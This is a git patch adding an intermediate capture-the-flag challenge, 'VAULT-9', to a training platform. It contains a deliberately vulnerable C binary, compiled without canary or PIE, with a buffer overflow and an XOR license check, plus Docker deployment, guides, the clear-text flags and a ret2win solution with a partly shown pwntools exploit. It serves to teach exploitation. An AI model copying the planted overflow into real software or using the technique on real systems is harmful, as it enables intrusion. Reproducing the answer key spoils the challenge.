From b11f2f11343eea0dee68a3cf39afdadfd9585ba7 Mon Sep 17 00:00:00 2001 From: Jakub WERLINSKI Date: Mon, 20 Jul 2026 01:17:55 +0200 Subject: [PATCH 1/3] =?UTF-8?q?feat(challenges):=20Red=20Team=203=20VAULT-?= =?UTF-8?q?9=20+=20renommage=20num=C3=A9rot=C3=A9=20des=20challenges=20Jak?= =?UTF-8?q?ub?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Ajout du challenge Red Team 3 « VAULT-9 » (reverse XOR + exploitation binaire ret2win, niveau intermédiaire) : Dockerfile/socat, source du binaire, générateur de secrets, guides joueur/admin, solution + exploit pwntools testé, template de rapport. - Renommage cohérent (préfixe numéroté par équipe) : Blue-Team-Memory-Forensics -> 2-Blue-Team-Memory-Forensics nouveau -> 3-Red-Team-Binary-Vault Co-Authored-By: Claude Opus 4.8 --- .../.dockerignore | 0 .../.gitignore | 0 .../Dockerfile | 0 .../README.md | 2 +- .../docker-compose.yml | 0 .../docker-entrypoint.sh | 0 .../docs/ADMIN_DEPLOYMENT.md | 2 +- .../docs/USER_GUIDE.md | 0 .../report/report_template.md | 0 .../setup/generate_challenge.py | 0 .../setup/generate_pcap.py | 0 .../setup/requirements.txt | 0 .../solution/SOLUTION.md | 0 .../solution/validate_flag.py | 0 .../tools/extract_strings.py | 0 .../tools/vol_analyzer.py | 0 .../3-Red-Team-Binary-Vault/.dockerignore | 6 ++ challenges/3-Red-Team-Binary-Vault/.gitignore | 7 ++ challenges/3-Red-Team-Binary-Vault/Dockerfile | 33 +++++++ challenges/3-Red-Team-Binary-Vault/README.md | 60 ++++++++++++ .../3-Red-Team-Binary-Vault/challenge/vault.c | 98 +++++++++++++++++++ .../docker-compose.yml | 9 ++ .../docker-entrypoint.sh | 6 ++ .../docs/ADMIN_DEPLOYMENT.md | 65 ++++++++++++ .../docs/USER_GUIDE.md | 45 +++++++++ .../report/report_template.md | 35 +++++++ .../setup/gen_secret.py | 41 ++++++++ .../solution/SOLUTION.md | 71 ++++++++++++++ .../solution/exploit.py | 51 ++++++++++ 29 files changed, 529 insertions(+), 2 deletions(-) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/.dockerignore (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/.gitignore (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/Dockerfile (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/README.md (99%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/docker-compose.yml (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/docker-entrypoint.sh (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/docs/ADMIN_DEPLOYMENT.md (98%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/docs/USER_GUIDE.md (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/report/report_template.md (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/setup/generate_challenge.py (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/setup/generate_pcap.py (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/setup/requirements.txt (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/solution/SOLUTION.md (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/solution/validate_flag.py (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/tools/extract_strings.py (100%) rename challenges/{Blue-Team-Memory-Forensics => 2-Blue-Team-Memory-Forensics}/tools/vol_analyzer.py (100%) create mode 100644 challenges/3-Red-Team-Binary-Vault/.dockerignore create mode 100644 challenges/3-Red-Team-Binary-Vault/.gitignore create mode 100644 challenges/3-Red-Team-Binary-Vault/Dockerfile create mode 100644 challenges/3-Red-Team-Binary-Vault/README.md create mode 100644 challenges/3-Red-Team-Binary-Vault/challenge/vault.c create mode 100644 challenges/3-Red-Team-Binary-Vault/docker-compose.yml create mode 100644 challenges/3-Red-Team-Binary-Vault/docker-entrypoint.sh create mode 100644 challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md create mode 100644 challenges/3-Red-Team-Binary-Vault/docs/USER_GUIDE.md create mode 100644 challenges/3-Red-Team-Binary-Vault/report/report_template.md create mode 100644 challenges/3-Red-Team-Binary-Vault/setup/gen_secret.py create mode 100644 challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md create mode 100644 challenges/3-Red-Team-Binary-Vault/solution/exploit.py diff --git a/challenges/Blue-Team-Memory-Forensics/.dockerignore b/challenges/2-Blue-Team-Memory-Forensics/.dockerignore similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/.dockerignore rename to challenges/2-Blue-Team-Memory-Forensics/.dockerignore diff --git a/challenges/Blue-Team-Memory-Forensics/.gitignore b/challenges/2-Blue-Team-Memory-Forensics/.gitignore similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/.gitignore rename to challenges/2-Blue-Team-Memory-Forensics/.gitignore diff --git a/challenges/Blue-Team-Memory-Forensics/Dockerfile b/challenges/2-Blue-Team-Memory-Forensics/Dockerfile similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/Dockerfile rename to challenges/2-Blue-Team-Memory-Forensics/Dockerfile diff --git a/challenges/Blue-Team-Memory-Forensics/README.md b/challenges/2-Blue-Team-Memory-Forensics/README.md similarity index 99% rename from challenges/Blue-Team-Memory-Forensics/README.md rename to challenges/2-Blue-Team-Memory-Forensics/README.md index 4039426..b02f7a4 100644 --- a/challenges/Blue-Team-Memory-Forensics/README.md +++ b/challenges/2-Blue-Team-Memory-Forensics/README.md @@ -20,7 +20,7 @@ L'investigation préliminaire suggère que **l'attaquant a déployé un implant ## 📁 Structure du Challenge ``` -Blue-Team-Memory-Forensics/ +2-Blue-Team-Memory-Forensics/ ├── README.md ← Vous êtes ici ├── Dockerfile ← Image du challenge ├── docker-compose.yml ← Orchestration Docker diff --git a/challenges/Blue-Team-Memory-Forensics/docker-compose.yml b/challenges/2-Blue-Team-Memory-Forensics/docker-compose.yml similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/docker-compose.yml rename to challenges/2-Blue-Team-Memory-Forensics/docker-compose.yml diff --git a/challenges/Blue-Team-Memory-Forensics/docker-entrypoint.sh b/challenges/2-Blue-Team-Memory-Forensics/docker-entrypoint.sh similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/docker-entrypoint.sh rename to challenges/2-Blue-Team-Memory-Forensics/docker-entrypoint.sh diff --git a/challenges/Blue-Team-Memory-Forensics/docs/ADMIN_DEPLOYMENT.md b/challenges/2-Blue-Team-Memory-Forensics/docs/ADMIN_DEPLOYMENT.md similarity index 98% rename from challenges/Blue-Team-Memory-Forensics/docs/ADMIN_DEPLOYMENT.md rename to challenges/2-Blue-Team-Memory-Forensics/docs/ADMIN_DEPLOYMENT.md index f4bbc2f..b5d4543 100644 --- a/challenges/Blue-Team-Memory-Forensics/docs/ADMIN_DEPLOYMENT.md +++ b/challenges/2-Blue-Team-Memory-Forensics/docs/ADMIN_DEPLOYMENT.md @@ -1,7 +1,7 @@ # Blue Team Memory Forensics - Guide Admin/Deploiement ## 1) Build de l'image -Depuis `Challenge/Blue-Team-Memory-Forensics`: +Depuis `challenges/2-Blue-Team-Memory-Forensics`: ```bash docker build -t blue-team-memory-forensics:latest . diff --git a/challenges/Blue-Team-Memory-Forensics/docs/USER_GUIDE.md b/challenges/2-Blue-Team-Memory-Forensics/docs/USER_GUIDE.md similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/docs/USER_GUIDE.md rename to challenges/2-Blue-Team-Memory-Forensics/docs/USER_GUIDE.md diff --git a/challenges/Blue-Team-Memory-Forensics/report/report_template.md b/challenges/2-Blue-Team-Memory-Forensics/report/report_template.md similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/report/report_template.md rename to challenges/2-Blue-Team-Memory-Forensics/report/report_template.md diff --git a/challenges/Blue-Team-Memory-Forensics/setup/generate_challenge.py b/challenges/2-Blue-Team-Memory-Forensics/setup/generate_challenge.py similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/setup/generate_challenge.py rename to challenges/2-Blue-Team-Memory-Forensics/setup/generate_challenge.py diff --git a/challenges/Blue-Team-Memory-Forensics/setup/generate_pcap.py b/challenges/2-Blue-Team-Memory-Forensics/setup/generate_pcap.py similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/setup/generate_pcap.py rename to challenges/2-Blue-Team-Memory-Forensics/setup/generate_pcap.py diff --git a/challenges/Blue-Team-Memory-Forensics/setup/requirements.txt b/challenges/2-Blue-Team-Memory-Forensics/setup/requirements.txt similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/setup/requirements.txt rename to challenges/2-Blue-Team-Memory-Forensics/setup/requirements.txt diff --git a/challenges/Blue-Team-Memory-Forensics/solution/SOLUTION.md b/challenges/2-Blue-Team-Memory-Forensics/solution/SOLUTION.md similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/solution/SOLUTION.md rename to challenges/2-Blue-Team-Memory-Forensics/solution/SOLUTION.md diff --git a/challenges/Blue-Team-Memory-Forensics/solution/validate_flag.py b/challenges/2-Blue-Team-Memory-Forensics/solution/validate_flag.py similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/solution/validate_flag.py rename to challenges/2-Blue-Team-Memory-Forensics/solution/validate_flag.py diff --git a/challenges/Blue-Team-Memory-Forensics/tools/extract_strings.py b/challenges/2-Blue-Team-Memory-Forensics/tools/extract_strings.py similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/tools/extract_strings.py rename to challenges/2-Blue-Team-Memory-Forensics/tools/extract_strings.py diff --git a/challenges/Blue-Team-Memory-Forensics/tools/vol_analyzer.py b/challenges/2-Blue-Team-Memory-Forensics/tools/vol_analyzer.py similarity index 100% rename from challenges/Blue-Team-Memory-Forensics/tools/vol_analyzer.py rename to challenges/2-Blue-Team-Memory-Forensics/tools/vol_analyzer.py diff --git a/challenges/3-Red-Team-Binary-Vault/.dockerignore b/challenges/3-Red-Team-Binary-Vault/.dockerignore new file mode 100644 index 0000000..8e72eb0 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/.dockerignore @@ -0,0 +1,6 @@ +solution/ +docs/ +report/ +README.md +docker-compose.yml +*.md diff --git a/challenges/3-Red-Team-Binary-Vault/.gitignore b/challenges/3-Red-Team-Binary-Vault/.gitignore new file mode 100644 index 0000000..b575f4e --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/.gitignore @@ -0,0 +1,7 @@ +# Artefacts generes au build -- ne pas committer. +secret.h +flag1.txt +flag2.txt +vault +*.o +__pycache__/ diff --git a/challenges/3-Red-Team-Binary-Vault/Dockerfile b/challenges/3-Red-Team-Binary-Vault/Dockerfile new file mode 100644 index 0000000..a7faa7b --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/Dockerfile @@ -0,0 +1,33 @@ +# VAULT-9 -- Red Team 3 (reverse + exploitation binaire) +# Build : le binaire est compile sans protections modernes (no PIE, +# no stack canary) pour rendre le ret2win faisable en intermediaire. +FROM debian:12-slim + +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + gcc libc6-dev socat python3 && \ + rm -rf /var/lib/apt/lists/* + +RUN useradd -m -s /usr/sbin/nologin ctf + +WORKDIR /build +COPY challenge/vault.c ./vault.c +COPY setup/gen_secret.py ./gen_secret.py + +# Genere secret.h + flags, compile, installe dans /challenge. +RUN python3 gen_secret.py && \ + gcc -fno-stack-protector -no-pie -fno-pie -O0 -w -o vault vault.c && \ + mkdir -p /challenge && \ + cp vault /challenge/vault && \ + cp flag1.txt flag2.txt /challenge/ && \ + chmod 0555 /challenge/vault && \ + chmod 0444 /challenge/flag1.txt /challenge/flag2.txt && \ + rm -rf /build + +COPY docker-entrypoint.sh /usr/local/bin/entrypoint.sh +RUN chmod +x /usr/local/bin/entrypoint.sh + +WORKDIR /challenge +EXPOSE 9003 +USER ctf +ENTRYPOINT ["/usr/local/bin/entrypoint.sh"] diff --git a/challenges/3-Red-Team-Binary-Vault/README.md b/challenges/3-Red-Team-Binary-Vault/README.md new file mode 100644 index 0000000..25d9fca --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/README.md @@ -0,0 +1,60 @@ +# 🔴 Red Team 3 — VAULT-9 (Reverse & Exploitation binaire) + +### Challenge Jakub — niveau intermédiaire + +Premier challenge de **pwn** de la plateforme RootMeUp : un binaire Linux à +rétro-ingénier puis à exploiter. Conçu pour combler l'écart entre les Blue Team +(accessibles) et les Red Team 1 & 2 (Linux/web). + +## 📌 Documentation + +- Guide joueur : [`docs/USER_GUIDE.md`](docs/USER_GUIDE.md) +- Guide admin / déploiement : [`docs/ADMIN_DEPLOYMENT.md`](docs/ADMIN_DEPLOYMENT.md) +- Solution (⚠️ spoilers) : [`solution/SOLUTION.md`](solution/SOLUTION.md) + +## 🎯 Résumé + +| | | +|---|---| +| Catégorie | Red Team — Reverse + Exploitation binaire | +| Difficulté | Intermédiaire | +| Flags | 2 (progressifs) | +| Accès | `nc ` (instance Docker par équipe) | +| Compétences | reverse (XOR), débordement de tampon, ret2win, pwntools | + +## 🧩 Déroulé + +1. **Reverse** — la console vérifie une licence obfusquée en XOR (`check_license`). Le joueur récupère la clé → **flag 1**. +2. **Exploitation** — le terminal de maintenance déborde `buf[64]` (lecture de 200 octets). Le joueur détourne l'exécution (`ret2win`) vers la fonction cachée `vault()` → **flag 2**. + +## 📁 Structure + +``` +3-Red-Team-Binary-Vault/ +├── README.md +├── Dockerfile ← build + service socat (port 9003) +├── docker-compose.yml ← test local +├── docker-entrypoint.sh +├── challenge/ +│ └── vault.c ← source du binaire (sans secret en clair) +├── setup/ +│ └── gen_secret.py ← génère secret.h + flags au build (⚠️ spoiler) +├── docs/ +│ ├── USER_GUIDE.md +│ └── ADMIN_DEPLOYMENT.md +├── solution/ +│ ├── SOLUTION.md ← ⚠️ spoilers +│ └── exploit.py ← exploit pwntools (testé) +└── report/ + └── report_template.md +``` + +## ⚙️ Build rapide + +```bash +docker compose up --build -d # écoute sur 9003 +nc 127.0.0.1 9003 +docker compose down +``` + +> Artefacts générés (`secret.h`, `flag*.txt`, `vault`) : ignorés par git, jamais committés. diff --git a/challenges/3-Red-Team-Binary-Vault/challenge/vault.c b/challenges/3-Red-Team-Binary-Vault/challenge/vault.c new file mode 100644 index 0000000..2b0aa86 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/challenge/vault.c @@ -0,0 +1,98 @@ +/* + * VAULT-9 :: Console d'administration + * Challenge Red Team 3 (intermediaire) - RootMeUp + * + * Deux etapes : + * 1. Reverse : contourner la verification de licence (obfusquee en XOR). + * 2. Exploitation : debordement de tampon (ret2win) vers vault(). + * + * secret.h est genere au build par setup/gen_secret.py : il contient + * la licence encodee en XOR (jamais le texte en clair) afin que `strings` + * sur le binaire distribue ne revele pas la solution. + */ +#include +#include +#include +#include +#include +#include "secret.h" /* LICENSE_ENC[], LICENSE_LEN, XOR_KEY */ + +char flag1[128]; +char flag2[128]; + +static void load_flag(const char *path, char *dst, size_t n) +{ + int fd = open(path, O_RDONLY); + if (fd < 0) { strncpy(dst, "FLAG_MANQUANT", n); dst[n - 1] = 0; return; } + ssize_t r = read(fd, dst, n - 1); + if (r < 0) r = 0; + dst[r] = 0; + char *nl = strchr(dst, '\n'); + if (nl) *nl = 0; + close(fd); +} + +static void setup(void) +{ + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + load_flag("/challenge/flag1.txt", flag1, sizeof(flag1)); + load_flag("/challenge/flag2.txt", flag2, sizeof(flag2)); +} + +/* Etape 2 : fonction "gagnante" jamais atteinte par le flux normal. */ +void vault(void) +{ + puts(""); + puts("[+] Coffre deverrouille -- acces au module memoire protege accorde."); + printf("[+] flag 2: %s\n", flag2); + fflush(stdout); + _exit(0); +} + +/* Etape 1 : la licence attendue est stockee XORee avec XOR_KEY. */ +static int check_license(const char *input) +{ + if (strlen(input) != LICENSE_LEN) + return 0; + for (size_t i = 0; i < LICENSE_LEN; i++) { + if ((unsigned char)(input[i] ^ XOR_KEY) != LICENSE_ENC[i]) + return 0; + } + return 1; +} + +/* Debordement volontaire : read() ecrit jusqu'a 200 octets dans buf[64]. */ +static void access_terminal(void) +{ + char buf[64]; + puts(""); + puts("=== Terminal de maintenance ==="); + printf("Commande > "); + read(0, buf, 200); + printf("Commande '%s' non reconnue.\n", buf); +} + +int main(void) +{ + setup(); + + char license[128]; + puts("========================================"); + puts(" VAULT-9 :: Console d'administration "); + puts("========================================"); + printf("Cle de licence > "); + if (!fgets(license, sizeof(license), stdin)) + return 0; + license[strcspn(license, "\r\n")] = 0; + + if (check_license(license)) { + puts("[+] Licence valide. Bienvenue, administrateur."); + printf("[+] Preuve d'acces (flag 1): %s\n", flag1); + access_terminal(); + } else { + puts("[-] Licence invalide. Acces refuse."); + } + return 0; +} diff --git a/challenges/3-Red-Team-Binary-Vault/docker-compose.yml b/challenges/3-Red-Team-Binary-Vault/docker-compose.yml new file mode 100644 index 0000000..cfbde16 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/docker-compose.yml @@ -0,0 +1,9 @@ +# Deploiement local pour tests. En production, le plugin +# CTFdDockerContainersPlugin gere l'allocation dynamique du port. +services: + vault: + build: . + container_name: rt3-vault + ports: + - "9003:9003" + restart: unless-stopped diff --git a/challenges/3-Red-Team-Binary-Vault/docker-entrypoint.sh b/challenges/3-Red-Team-Binary-Vault/docker-entrypoint.sh new file mode 100644 index 0000000..24156ce --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/docker-entrypoint.sh @@ -0,0 +1,6 @@ +#!/bin/sh +# Sert le binaire vulnerable : une instance par connexion TCP. +set -e +PORT="${CHALLENGE_PORT:-9003}" +echo "[*] VAULT-9 en ecoute sur le port ${PORT}" +exec socat -T120 TCP-LISTEN:"${PORT}",reuseaddr,fork EXEC:"/challenge/vault",stderr diff --git a/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md b/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md new file mode 100644 index 0000000..73644fe --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md @@ -0,0 +1,65 @@ +# Guide admin / déploiement — VAULT-9 (Red Team 3) + +## Résumé technique + +| Élément | Valeur | +|---|---| +| Type CTFd | Container (plugin CTFdDockerContainersPlugin) | +| Port interne | `9003` (TCP, servi par `socat`, une instance/connexion) | +| Fichier à joindre au challenge | le binaire **`vault`** (voir extraction ci-dessous) | +| Flags | 2 — voir `solution/SOLUTION.md` | +| Compilation | `-fno-stack-protector -no-pie -fno-pie -O0` | + +Les secrets (licence, flags) sont générés au build par `setup/gen_secret.py` et **ne sont pas embarqués** dans le binaire (lus depuis `/challenge/flag*.txt` au runtime). `strings vault` ne révèle donc rien. + +## Build & test local + +```bash +cd challenges/3-Red-Team-Binary-Vault +docker compose up --build -d +# le service écoute sur le port 9003 +nc 127.0.0.1 9003 +``` + +Test automatique de la solution : + +```bash +# extraire le binaire de l'image (voir plus bas) dans solution/, puis : +cd solution && python3 exploit.py 127.0.0.1 9003 +``` + +Arrêt : + +```bash +docker compose down +``` + +## Extraire le binaire à distribuer + +Le joueur doit télécharger le **même** binaire que celui déployé : + +```bash +docker compose up --build -d +docker cp rt3-vault:/challenge/vault ./vault +docker compose down +``` + +Joindre `./vault` comme fichier du challenge dans CTFd. **Ne jamais** joindre `flag1.txt`, `flag2.txt` ni `secret.h`. + +## Intégration CTFd (plugin conteneurs) + +1. Builder l'image sur l'hôte Docker de la VM (`docker build -t rt3-vault .`). +2. Dans CTFd → challenge de type **Container** : image `rt3-vault`, port interne **9003**. +3. Renseigner les 2 flags (sensibles à la casse), en points progressifs. +4. Joindre le binaire `vault` (fichier téléchargeable). +5. Tester le **Start Instance** avec un compte non-admin (IP + port dynamique alloués par le plugin). + +## Sécurité de déploiement + +- Le conteneur tourne en utilisateur non privilégié `ctf`, `nologin`. +- Le binaire est volontairement vulnérable **mais confiné au conteneur** : aucun accès hôte, pas de shell exposé (le ret2win n'offre qu'un `puts` du flag, pas de RCE arbitraire). +- `socat` limite chaque session (`-T120`, timeout 120 s) pour éviter les connexions pendantes. + +## Modifier les flags / la licence + +Éditer `setup/gen_secret.py` (constantes `LICENSE`, `XOR_KEY`, `FLAG1`, `FLAG2`) puis rebuilder. Penser à régénérer/rejoindre le binaire et à mettre à jour les flags dans CTFd. diff --git a/challenges/3-Red-Team-Binary-Vault/docs/USER_GUIDE.md b/challenges/3-Red-Team-Binary-Vault/docs/USER_GUIDE.md new file mode 100644 index 0000000..d51b297 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/docs/USER_GUIDE.md @@ -0,0 +1,45 @@ +# 🔴 VAULT-9 — Guide du joueur + +**Catégorie :** Red Team — Reverse & Exploitation binaire +**Difficulté :** Intermédiaire +**Flags :** 2 (progressifs) + +## 📖 Contexte + +L'entreprise **Meridian Corp** protège son module mémoire sensible derrière une console d'administration maison, `VAULT-9`. Un binaire de cette console a fuité. Votre équipe doit démontrer qu'il est vulnérable : contourner sa licence, puis en prendre le contrôle pour ouvrir le coffre. + +## 🎯 Objectifs + +1. **Flag 1** — Contourner la vérification de licence du binaire. +2. **Flag 2** — Prendre le contrôle de l'exécution pour atteindre la routine qui ouvre le coffre. + +Format des flags : `RM{...}` (sensible à la casse). + +## 🔌 Accès + +1. Téléchargez le binaire **`vault`** fourni avec le challenge dans CTFd. +2. Démarrez l'instance (**Start Instance**) : vous obtenez une **IP** et un **port**. +3. Connectez-vous au service : + + ```bash + nc + ``` + +Le binaire téléchargé est **identique** à celui qui tourne sur l'instance : analysez-le en local, exploitez-le à distance. + +## 🧰 Outils suggérés + +- **Reverse** : `Ghidra`, `IDA Free`, `radare2`/`Cutter`, ou simplement `objdump -d vault`. +- **Exploitation** : `pwntools` (Python), `gdb` + `pwndbg`/`gef`. +- **Recon** : `file vault`, `checksec vault`, `strings vault`. + +## 🪜 Pistes (sans spoiler) + +- Étape 1 : commencez par `file` et `checksec`. Cherchez la fonction qui valide la licence. Quelle **opération** est appliquée à votre saisie avant la comparaison ? La donnée de référence est en clair dans le binaire… mais transformée. +- Étape 2 : une fois « administrateur », le terminal de maintenance lit votre entrée. Combien d'octets accepte-t-il vraiment vs la taille du tampon ? Existe-t-il une fonction **intéressante jamais appelée** ? + +## ✅ Validation + +Soumettez chaque flag dans CTFd. Le flag 1 se trouve dès l'accès administrateur ; le flag 2 nécessite de détourner l'exécution. + +Bon courage — et n'oubliez pas : *ne codez jamais un secret en dur.* 😉 diff --git a/challenges/3-Red-Team-Binary-Vault/report/report_template.md b/challenges/3-Red-Team-Binary-Vault/report/report_template.md new file mode 100644 index 0000000..2eb497e --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/report/report_template.md @@ -0,0 +1,35 @@ +# Rapport — VAULT-9 (Red Team 3) + +- **Équipe :** ______________________ +- **Date :** ______________________ + +## Reconnaissance + +- Sortie de `file vault` : ______________________ +- Sortie de `checksec vault` : ______________________ + +## Étape 1 — Reverse de la licence + +- Fonction identifiée : ______________________ +- Transformation appliquée à l'entrée : ______________________ +- Licence récupérée : ______________________ +- **Flag 1 :** ______________________ + +## Étape 2 — Exploitation + +- Fonction vulnérable : ______________________ +- Taille du tampon / octets lus : ______________________ +- Offset jusqu'à l'adresse de retour : ______________________ +- Fonction cible (ret2win) et son adresse : ______________________ +- Remarque sur l'alignement de pile : ______________________ +- **Flag 2 :** ______________________ + +## Exploit + +``` +(coller le script ou les commandes utilisées) +``` + +## Remédiation proposée + +- ______________________ (ex : canari de pile, PIE, ne pas coder de secret en dur, `read` borné) diff --git a/challenges/3-Red-Team-Binary-Vault/setup/gen_secret.py b/challenges/3-Red-Team-Binary-Vault/setup/gen_secret.py new file mode 100644 index 0000000..8e65aea --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/setup/gen_secret.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# ===================================================================== +# gen_secret.py -- generateur mainteneur (execute au build Docker) +# /!\ SPOILER : contient la licence et les flags en clair. +# +# Genere : +# - secret.h : la licence XORee (importee par vault.c) +# - flag1.txt : flag de l'etape reverse +# - flag2.txt : flag de l'etape exploitation +# +# Pour changer les flags/la licence, modifiez les constantes ci-dessous +# puis rebuildez l'image. Rien de sensible n'est ecrit dans le binaire. +# ===================================================================== + +LICENSE = "unl0ck_th3_v4ult" # cle attendue par check_license() +XOR_KEY = 0x5C # cle de XOR mono-octet +FLAG1 = "RM{r3v3rs3_l3_x0r_c0mm3_un_pr0}" +FLAG2 = "RM{r3t2w1n_l4_v4ult_3st_0uv3rt3}" + + +def main(): + enc = ", ".join(str(b ^ XOR_KEY) for b in LICENSE.encode()) + with open("secret.h", "w") as f: + f.write("#ifndef SECRET_H\n#define SECRET_H\n") + f.write("/* Genere par gen_secret.py -- ne pas editer a la main. */\n") + f.write(f"#define XOR_KEY 0x{XOR_KEY:02x}\n") + f.write(f"#define LICENSE_LEN {len(LICENSE)}\n") + f.write(f"static const unsigned char LICENSE_ENC[] = {{ {enc} }};\n") + f.write("#endif\n") + + with open("flag1.txt", "w") as f: + f.write(FLAG1 + "\n") + with open("flag2.txt", "w") as f: + f.write(FLAG2 + "\n") + + print("[gen_secret] secret.h, flag1.txt, flag2.txt generes.") + + +if __name__ == "__main__": + main() diff --git a/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md b/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md new file mode 100644 index 0000000..69601b4 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md @@ -0,0 +1,71 @@ +# Solution — VAULT-9 (Red Team 3) ⚠️ SPOILERS + +Challenge intermédiaire en deux étapes : **reverse** puis **exploitation binaire (ret2win)**. + +- **Flag 1** : `RM{r3v3rs3_l3_x0r_c0mm3_un_pr0}` +- **Flag 2** : `RM{r3t2w1n_l4_v4ult_3st_0uv3rt3}` + +Le binaire est compilé **sans canari de pile et sans PIE** (`-fno-stack-protector -no-pie`), ce qui rend le ret2win réalisable au niveau intermédiaire. + +``` +$ checksec vault + Arch: amd64 + RELRO: Partial + Stack: No canary found + NX: enabled + PIE: No PIE (0x400000) +``` + +## Étape 1 — Reverse de la licence + +En désassemblant `check_license()` (Ghidra, IDA, ou `objdump -d`), on voit : +- la longueur attendue est **16** ; +- chaque octet saisi est **XORé avec `0x5C`** puis comparé à un tableau constant `LICENSE_ENC` en `.rodata`. + +La licence est donc `LICENSE_ENC ^ 0x5C`. Récupération rapide : + +```python +enc = [41, 50, 48, 108, 63, 55, 3, 40, 52, 111, 3, 42, 104, 41, 48, 40] +print(bytes(b ^ 0x5C for b in enc).decode()) # -> unl0ck_th3_v4ult +``` + +En saisissant `unl0ck_th3_v4ult`, le programme affiche le **flag 1** et donne accès au « terminal de maintenance ». + +## Étape 2 — Débordement de tampon (ret2win) + +`access_terminal()` lit **200 octets** via `read()` dans `buf[64]` → débordement. + +Cartographie de la pile : + +``` +[ buf : 64 octets ] <- rbp-0x40 +[ rbp sauvegardé : 8 ] +[ adresse de retour : 8 ] <- cible +``` + +Offset jusqu'à l'adresse de retour = **64 + 8 = 72**. + +La fonction `vault()` (jamais appelée par le flux normal) affiche le flag 2. Il suffit de rediriger l'exécution vers elle. Un gadget `ret` est inséré avant l'adresse de `vault()` pour **réaligner la pile sur 16 octets** (sinon `movaps` dans `printf`/`puts` peut faire crasher). + +``` +payload = b"A"*72 + p64(ret_gadget) + p64(vault) +``` + +## Exploit automatisé + +`exploit.py` (pwntools) enchaîne les deux étapes : + +```bash +# récupérer le binaire distribué dans le dossier courant, puis : +python3 exploit.py +``` + +Sortie attendue : + +``` +[+] vault() @ 0x401334 +[+] Flag 1 : RM{r3v3rs3_l3_x0r_c0mm3_un_pr0} +[+] Flag 2 : RM{r3t2w1n_l4_v4ult_3st_0uv3rt3} +``` + +> Testé et validé le 20/07/2026 : chaîne complète fonctionnelle (offset 72, gadget `ret` pour l'alignement, ret2win vers `vault`). diff --git a/challenges/3-Red-Team-Binary-Vault/solution/exploit.py b/challenges/3-Red-Team-Binary-Vault/solution/exploit.py new file mode 100644 index 0000000..4e3d0d1 --- /dev/null +++ b/challenges/3-Red-Team-Binary-Vault/solution/exploit.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# ===================================================================== +# Solution de reference -- VAULT-9 (Red Team 3) /!\ SPOILER +# +# Usage : +# python3 exploit.py +# (necessite le binaire ./vault dans le repertoire courant) +# +# Chaine : +# Etape 1 (reverse) : la licence est stockee XORee avec 0x5C. +# licence = LICENSE_ENC ^ 0x5C = "unl0ck_th3_v4ult" +# Etape 2 (pwn) : debordement de buf[64] dans access_terminal(). +# offset RIP = 64 + 8 (rbp) = 72 +# ret2win vers vault(), precede d'un gadget `ret` +# pour realigner la pile sur 16 octets (movaps). +# ===================================================================== +import sys +from pwn import * + +context.log_level = "info" + +HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" +PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 9003 